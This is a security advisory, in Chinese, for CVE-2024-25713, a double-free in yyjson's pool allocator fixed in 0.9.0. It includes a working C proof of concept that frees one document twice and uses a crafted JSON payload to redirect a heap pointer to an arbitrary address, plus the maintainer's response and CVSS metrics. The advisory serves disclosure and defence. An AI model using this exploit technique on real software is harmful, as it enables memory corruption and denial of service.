yyjson 双释放漏洞 · CVE-2024-25713 · GitHub Advisory Database
漏洞详情
包
- swift
- github.com/ibireme/yyjson (Swift)
受影响版本
< 0.9.0
已修复版本
0.9.0
严重程度
高(CVSS 评分:8.8)
描述
概要
yyjson 的池系列分配器(pool_malloc/pool_free/pool_realloc)存在双释放漏洞,可能导致任意地址写入和拒绝服务攻击。任意地址写入结合使用该库的程序的合法或非法操作,可能导致远程代码执行。
详情
此漏洞的核心原因在于 pool_free 函数缺乏循环检查,而直接原因则源于 pool_free 函数及类似的 free 系列函数未执行指针销毁,从而导致释放后重用漏洞。
PoC(概念验证)
下面是一个使用 yyjson 0.8.0 编写的 C 语言程序,展示了如何利用双释放漏洞导致堆块重叠,进而修改堆块的 next 指针指向任意地址。如果目标地址有效,则可以对其进行修改。然而,如果地址无效,则可能导致程序崩溃,这可能被利用进行拒绝服务攻击。此外,构造一个堆块的循环链可以使服务陷入无限循环,同样可用于 DoS 攻击。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
#include <stdio.h>
#include "yyjson.h"
char test[0x110];
int64_t a=0xffffffff;
int64_t b= (int64_t) test;
int main() {
size_t max_json_size = 64 * 1024;
size_t buf_size = yyjson_read_max_memory_usage(max_json_size, 0);
void *buf = malloc(buf_size);
yyjson_alc alc;
yyjson_alc_pool_init(&alc, buf, buf_size);
yyjson_mut_doc *p1 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc *p2 = yyjson_mut_doc_new(&alc);
yyjson_mut_arr(p2);
yyjson_mut_doc *p3 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc_free(p2);
yyjson_mut_doc_free(p2); // 双释放
yyjson_mut_doc_free(p1);
yyjson_read_flag flg = YYJSON_READ_ALLOW_COMMENTS | YYJSON_READ_ALLOW_INF_AND_NAN;
for(int i=0;i<0x100;i++)test[i]= 'a';
test[0x100]='\00';
char *payload_f = "[%lld,43981]";
char payload[100];
sprintf(payload,payload_f,&a);
yyjson_mut_doc *p4 = yyjson_read_opts(payload,strlen(payload),flg,&alc,NULL);
yyjson_mut_doc *p5 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc *p6 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc *p7 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc *p8 = yyjson_mut_doc_new(&alc);
for(int z=1;z<=100;z++)
yyjson_mut_int(p8,0x63636363);
printf("%s",test);
free(buf);
return 0;
}
|
影响
这是什么类型的漏洞?谁会受到影响?
yyjson 的说明
yyjson_mut_doc_free() 有明确的文档说明:
https://github.com/ibireme/yyjson/blob/0.8.0/src/yyjson.h#L2090-L2093
1
2
3
|
/** 释放 JSON 文档并回收内存。
调用此函数后,`doc` 及其所有值将不再可用。如果 `doc` 为 NULL,此函数将不执行任何操作。 */
void yyjson_mut_doc_free(yyjson_doc *doc);
|
如果您已经对一个文档调用了 yyjson_mut_doc_free(),那么该文档及其内部值即告失效。对该文档或其值的任何进一步操作都属于未定义行为。
虽然这并非 yyjson 本身的缺陷,但仍提供了一个防御性补丁:0eca326。如果您在已调用一次之后,违反文档说明再次对同一文档调用 yyjson_mut_doc_free(),此补丁将使您的程序立即崩溃,从而提醒您用法错误。
参考
CVSS v4 基础指标
可利用性指标
- 攻击向量:网络
- 攻击复杂度:低
- 攻击要求:无
- 所需权限:无
- 用户交互:无
易受攻击系统影响指标
后续系统影响指标
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N
弱点
CWE-94:对代码生成的控制不当